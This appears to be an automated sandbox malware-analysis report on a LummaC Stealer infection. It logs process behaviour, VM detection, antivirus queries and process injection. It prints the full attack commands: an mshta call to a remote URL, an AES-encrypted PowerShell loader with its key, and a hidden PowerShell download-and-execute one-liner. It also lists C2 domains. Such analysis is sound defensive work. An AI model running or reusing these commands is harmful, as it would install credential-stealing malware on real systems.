Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9931			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9921			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4452

Thread sleep time: -180000s >= -30000s

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: chrome.exe, 00000008.00000002.7112358917.000001C84DCEE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll-
Source: mshta.exe, 00000002.00000003.6191125172.00000000005C8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6205326146.0000000000582000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6206163067.0000000000600000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6205326146.00000000005C8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6188726217.0000000000600000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.6209834370.00000000005C8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.6210192215.0000000000600000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6191983403.00000000005C8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6191125172.0000000000581000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6191983403.0000000000582000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.6209834370.0000000000582000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000007.00000002.7358015796.0000000003479000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWq0"
Source: powershell.exe, 00000005.00000002.7035889575.0000000007392000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

API call chain: ExitProcess graph end node

graph_7-13584

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 7_2_0043B1C0 LdrInitializeThunk,

7_2_0043B1C0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command & {'2LT'|ForEach-Object {SI Variable:2LT ([PowerShell]::Create()); [Void](Get-Item Variable:\2LT).Value.AddScript((([System.Net.WebClient]::New().((([System.Net.WebClient]::New()|Get-Member)|Where-Object{(Get-Variable _ -Value).Name -ilike '*wn*d*g'}).Name)('https://pawpaws1.readit-carfanatics.com/madonna.vstx')))); (Get-Item Variable:\2LT).Value.Invoke(); (Get-Item Variable:\2LT).Value.Dispose()}}

Injects a PE file into a foreign processes

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: powershell.exe	String found in binary or memory: rapeflowwj.lat
Source: powershell.exe	String found in binary or memory: crosshuaht.lat
Source: powershell.exe	String found in binary or memory: sustainskelet.lat
Source: powershell.exe	String found in binary or memory: aspecteirs.lat
Source: powershell.exe	String found in binary or memory: energyaffai.lat
Source: powershell.exe	String found in binary or memory: necklacebudi.lat
Source: powershell.exe	String found in binary or memory: discokeyus.lat
Source: powershell.exe	String found in binary or memory: grannyejh.lat
Source: powershell.exe	String found in binary or memory: crayonutteh.click

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\mshta.exe "C:\Windows\system32\mshta.exe" https://pawpaws.readit-carfanatics.com/madonna.mp4	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function qtyVd($UNYZ){return -split ($UNYZ -replace '..', '0x$& ')};$ZKIHj = qtyVd('943C2C5C46A72B5C4C8C5C1A51E4FDD0974703BCE4EDF56B369378DFB2ECC854E259560AB569239046F77EA06A763337BD3340FF80B07C3CFCE33778E61B44845B5324775EE6ECAD2D2F37DD4F8DC9D93A8ABA7267AA5EA340079FA2334C6403714460816209B0D0411244284F7B8814FD62C23E419A8D047CB9595A51FEA7A3BCA7328CC8FCAF14C3F8165E90E2486DFAD60C27534F2C51C86D7F420CBBA4ABB44CACB3574A60609ED4B1F8BBC087D26FFE66EEB68F5686820C155B78783E6E11CF5815FCD1E2F8CA8C49791C0C4DF291EA66A7712921D9C59DB6E39D4F98ED2DC1A8E7A9946079CA7BF16CE0B32D041BED47781FEB352BDF1FB6018763D773644268B71F2526F6A617A9272A9ACDB0172FF20C3D1547782E3DBE0EDEC2C049AEA1DCE8744256C6E8717D86E602BF21D022B7E481612FD0E5AD43DEF8AEFF4BB1BB463D861888792AC5CFDAC45C5AAD05BEE91DABCC7A8CE6DC0862F3E928BE382F093C9D84D38A85151EEABB858C33520B5AABA90DFF68EE69A74D113C6C05BC871865DA879842D0B54C1DB7F4958097D12CECC5F9E39C9F6EF9ADF065DDA2643775FF589BDDA148E4527B97DE7BA451AC1EE997B73B0A1625177692622E4719148456AC24DEEA746D100F63E2E62646F66B245D3EED88607AB4D8A6022FA2F645BBFA59344E4471CB907FA8E491AA033889DB9D942E3F5420FF522C4C2C6217479BAC41430765CC37214D382A23920123068E397CA5AE645C1D0119DB511F8B852EA48834469651D0EC476969F2449303E7019452064057CE45DC4E16896B015B29CB64430183AF5618B121490DEE43084DC3253BC82E49716867CB584156D7865E1FA9DA392090109DF6E9A6CEFCAB60BE063896FE271D5F7145798747455EBE31B24E9BAE3DDE94E125C3AAB0F1CC7DA5D7D2C49F75D3D71BE3450EDFB23086A4D618521B1EE6EA4F7759E9CFC131005524C9B65D1D3D9FCB4F3E8A222D8020E0829864F6709CEA97810C2185CB147F13C7495B150A44FE94EC3E805FBE21BAB82B15870CAE560AAE4D4D533E433ABF4E5A563B39F36B23B63195F3779B0F8E07AE51936D7659CF47354C6662908568295088267D164DBF8CD609767B8170DEFEE21B10CE5C7244C519247C7C2F9CE8D7FA4027320E443B37F498F4BCDE2E63A97AC0167DCBD9DF73193FA93B3A82859FC1C7C6A740DD7140682426D7269E3DDEB5AB9467EC828C2C24E5D9149A12D98DFF32D05203D7536888907C29CA12DFCFB29B179E5F80DF3C545318D33794FAE90BEC7C573D81530A72C3E1664C1FCD78FFE0CC509A78F2E435BEE0A9EE5E4C0F5F6825B6883A784655B387AC0A63D3779D94D06E0C3BFC63D493D83B351266304E3C6A7FE938DB9F5FFD576369C82CA0050C55C2E8E82286D9AC048EE0F6E20CF515B8D1A1268959B2D3E695204352487CF3533397B42917060A182262AA9F2EA0B93E6742C4A2C669E95CD728');$MIDMd=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((qtyVd('794A5742476F737A6A656E545246734B')),[byte[]]::new(16)).TransformFinalBlock($ZKIHj,0,$ZKIHj.Length)); & $MIDMd.Substring(0,3) $MIDMd.Substring(129)	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command & {'2LT'\|ForEach-Object {SI Variable:2LT ([PowerShell]::Create()); [Void](Get-Item Variable:\2LT).Value.AddScript((([System.Net.WebClient]::New().((([System.Net.WebClient]::New()\|Get-Member)\|Where-Object{(Get-Variable _ -Value).Name -ilike 'wnd*g'}).Name)('https://pawpaws1.readit-carfanatics.com/madonna.vstx')))); (Get-Item Variable:\2LT).Value.Invoke(); (Get-Item Variable:\2LT).Value.Dispose()}}	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop function qtyvd($unyz){return -split ($unyz -replace '..', '0x$& ')};$zkihj = qtyvd('943c2c5c46a72b5c4c8c5c1a51e4fdd0974703bce4edf56b369378dfb2ecc854e259560ab569239046f77ea06a763337bd3340ff80b07c3cfce33778e61b44845b5324775ee6ecad2d2f37dd4f8dc9d93a8aba7267aa5ea340079fa2334c6403714460816209b0d0411244284f7b8814fd62c23e419a8d047cb9595a51fea7a3bca7328cc8fcaf14c3f8165e90e2486dfad60c27534f2c51c86d7f420cbba4abb44cacb3574a60609ed4b1f8bbc087d26ffe66eeb68f5686820c155b78783e6e11cf5815fcd1e2f8ca8c49791c0c4df291ea66a7712921d9c59db6e39d4f98ed2dc1a8e7a9946079ca7bf16ce0b32d041bed47781feb352bdf1fb6018763d773644268b71f2526f6a617a9272a9acdb0172ff20c3d1547782e3dbe0edec2c049aea1dce8744256c6e8717d86e602bf21d022b7e481612fd0e5ad43def8aeff4bb1bb463d861888792ac5cfdac45c5aad05bee91dabcc7a8ce6dc0862f3e928be382f093c9d84d38a85151eeabb858c33520b5aaba90dff68ee69a74d113c6c05bc871865da879842d0b54c1db7f4958097d12cecc5f9e39c9f6ef9adf065dda2643775ff589bdda148e4527b97de7ba451ac1ee997b73b0a1625177692622e4719148456ac24deea746d100f63e2e62646f66b245d3eed88607ab4d8a6022fa2f645bbfa59344e4471cb907fa8e491aa033889db9d942e3f5420ff522c4c2c6217479bac41430765cc37214d382a23920123068e397ca5ae645c1d0119db511f8b852ea48834469651d0ec476969f2449303e7019452064057ce45dc4e16896b015b29cb64430183af5618b121490dee43084dc3253bc82e49716867cb584156d7865e1fa9da392090109df6e9a6cefcab60be063896fe271d5f7145798747455ebe31b24e9bae3dde94e125c3aab0f1cc7da5d7d2c49f75d3d71be3450edfb23086a4d618521b1ee6ea4f7759e9cfc131005524c9b65d1d3d9fcb4f3e8a222d8020e0829864f6709cea97810c2185cb147f13c7495b150a44fe94ec3e805fbe21bab82b15870cae560aae4d4d533e433abf4e5a563b39f36b23b63195f3779b0f8e07ae51936d7659cf47354c6662908568295088267d164dbf8cd609767b8170defee21b10ce5c7244c519247c7c2f9ce8d7fa4027320e443b37f498f4bcde2e63a97ac0167dcbd9df73193fa93b3a82859fc1c7c6a740dd7140682426d7269e3ddeb5ab9467ec828c2c24e5d9149a12d98dff32d05203d7536888907c29ca12dfcfb29b179e5f80df3c545318d33794fae90bec7c573d81530a72c3e1664c1fcd78ffe0cc509a78f2e435bee0a9ee5e4c0f5f6825b6883a784655b387ac0a63d3779d94d06e0c3bfc63d493d83b351266304e3c6a7fe938db9f5ffd576369c82ca0050c55c2e8e82286d9ac048ee0f6e20cf515b8d1a1268959b2d3e695204352487cf3533397b42917060a182262aa9f2ea0b93e6742c4a2c669e95cd728');$midmd=-join [char[]](([security.cryptography.aes]::create()).createdecryptor((qtyvd('794a5742476f737a6a656e545246734b')),[byte[]]::new(16)).transformfinalblock($zkihj,0,$zkihj.length)); & $midmd.substring(0,3) $midmd.substring(129)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -w hidden -ep bypass -nop -command & {'2lt'\|foreach-object {si variable:2lt ([powershell]::create()); [void](get-item variable:\2lt).value.addscript((([system.net.webclient]::new().((([system.net.webclient]::new()\|get-member)\|where-object{(get-variable _ -value).name -ilike 'wnd*g'}).name)('https://pawpaws1.readit-carfanatics.com/madonna.vstx')))); (get-item variable:\2lt).value.invoke(); (get-item variable:\2lt).value.dispose()}}
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop function qtyvd($unyz){return -split ($unyz -replace '..', '0x$& ')};$zkihj = qtyvd('943c2c5c46a72b5c4c8c5c1a51e4fdd0974703bce4edf56b369378dfb2ecc854e259560ab569239046f77ea06a763337bd3340ff80b07c3cfce33778e61b44845b5324775ee6ecad2d2f37dd4f8dc9d93a8aba7267aa5ea340079fa2334c6403714460816209b0d0411244284f7b8814fd62c23e419a8d047cb9595a51fea7a3bca7328cc8fcaf14c3f8165e90e2486dfad60c27534f2c51c86d7f420cbba4abb44cacb3574a60609ed4b1f8bbc087d26ffe66eeb68f5686820c155b78783e6e11cf5815fcd1e2f8ca8c49791c0c4df291ea66a7712921d9c59db6e39d4f98ed2dc1a8e7a9946079ca7bf16ce0b32d041bed47781feb352bdf1fb6018763d773644268b71f2526f6a617a9272a9acdb0172ff20c3d1547782e3dbe0edec2c049aea1dce8744256c6e8717d86e602bf21d022b7e481612fd0e5ad43def8aeff4bb1bb463d861888792ac5cfdac45c5aad05bee91dabcc7a8ce6dc0862f3e928be382f093c9d84d38a85151eeabb858c33520b5aaba90dff68ee69a74d113c6c05bc871865da879842d0b54c1db7f4958097d12cecc5f9e39c9f6ef9adf065dda2643775ff589bdda148e4527b97de7ba451ac1ee997b73b0a1625177692622e4719148456ac24deea746d100f63e2e62646f66b245d3eed88607ab4d8a6022fa2f645bbfa59344e4471cb907fa8e491aa033889db9d942e3f5420ff522c4c2c6217479bac41430765cc37214d382a23920123068e397ca5ae645c1d0119db511f8b852ea48834469651d0ec476969f2449303e7019452064057ce45dc4e16896b015b29cb64430183af5618b121490dee43084dc3253bc82e49716867cb584156d7865e1fa9da392090109df6e9a6cefcab60be063896fe271d5f7145798747455ebe31b24e9bae3dde94e125c3aab0f1cc7da5d7d2c49f75d3d71be3450edfb23086a4d618521b1ee6ea4f7759e9cfc131005524c9b65d1d3d9fcb4f3e8a222d8020e0829864f6709cea97810c2185cb147f13c7495b150a44fe94ec3e805fbe21bab82b15870cae560aae4d4d533e433abf4e5a563b39f36b23b63195f3779b0f8e07ae51936d7659cf47354c6662908568295088267d164dbf8cd609767b8170defee21b10ce5c7244c519247c7c2f9ce8d7fa4027320e443b37f498f4bcde2e63a97ac0167dcbd9df73193fa93b3a82859fc1c7c6a740dd7140682426d7269e3ddeb5ab9467ec828c2c24e5d9149a12d98dff32d05203d7536888907c29ca12dfcfb29b179e5f80df3c545318d33794fae90bec7c573d81530a72c3e1664c1fcd78ffe0cc509a78f2e435bee0a9ee5e4c0f5f6825b6883a784655b387ac0a63d3779d94d06e0c3bfc63d493d83b351266304e3c6a7fe938db9f5ffd576369c82ca0050c55c2e8e82286d9ac048ee0f6e20cf515b8d1a1268959b2d3e695204352487cf3533397b42917060a182262aa9f2ea0b93e6742c4a2c669e95cd728');$midmd=-join [char[]](([security.cryptography.aes]::create()).createdecryptor((qtyvd('794a5742476f737a6a656e545246734b')),[byte[]]::new(16)).transformfinalblock($zkihj,0,$zkihj.length)); & $midmd.substring(0,3) $midmd.substring(129)	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -w hidden -ep bypass -nop -command & {'2lt'\|foreach-object {si variable:2lt ([powershell]::create()); [void](get-item variable:\2lt).value.addscript((([system.net.webclient]::new().((([system.net.webclient]::new()\|get-member)\|where-object{(get-variable _ -value).name -ilike 'wnd*g'}).name)('https://pawpaws1.readit-carfanatics.com/madonna.vstx')))); (get-item variable:\2lt).value.invoke(); (get-item variable:\2lt).value.dispose()}}	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.WSMan.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.WSMan.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: powershell.exe, 00000007.00000002.7360175829.0000000003507000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.7358364254.000000000348B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.7357562561.0000000003472000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

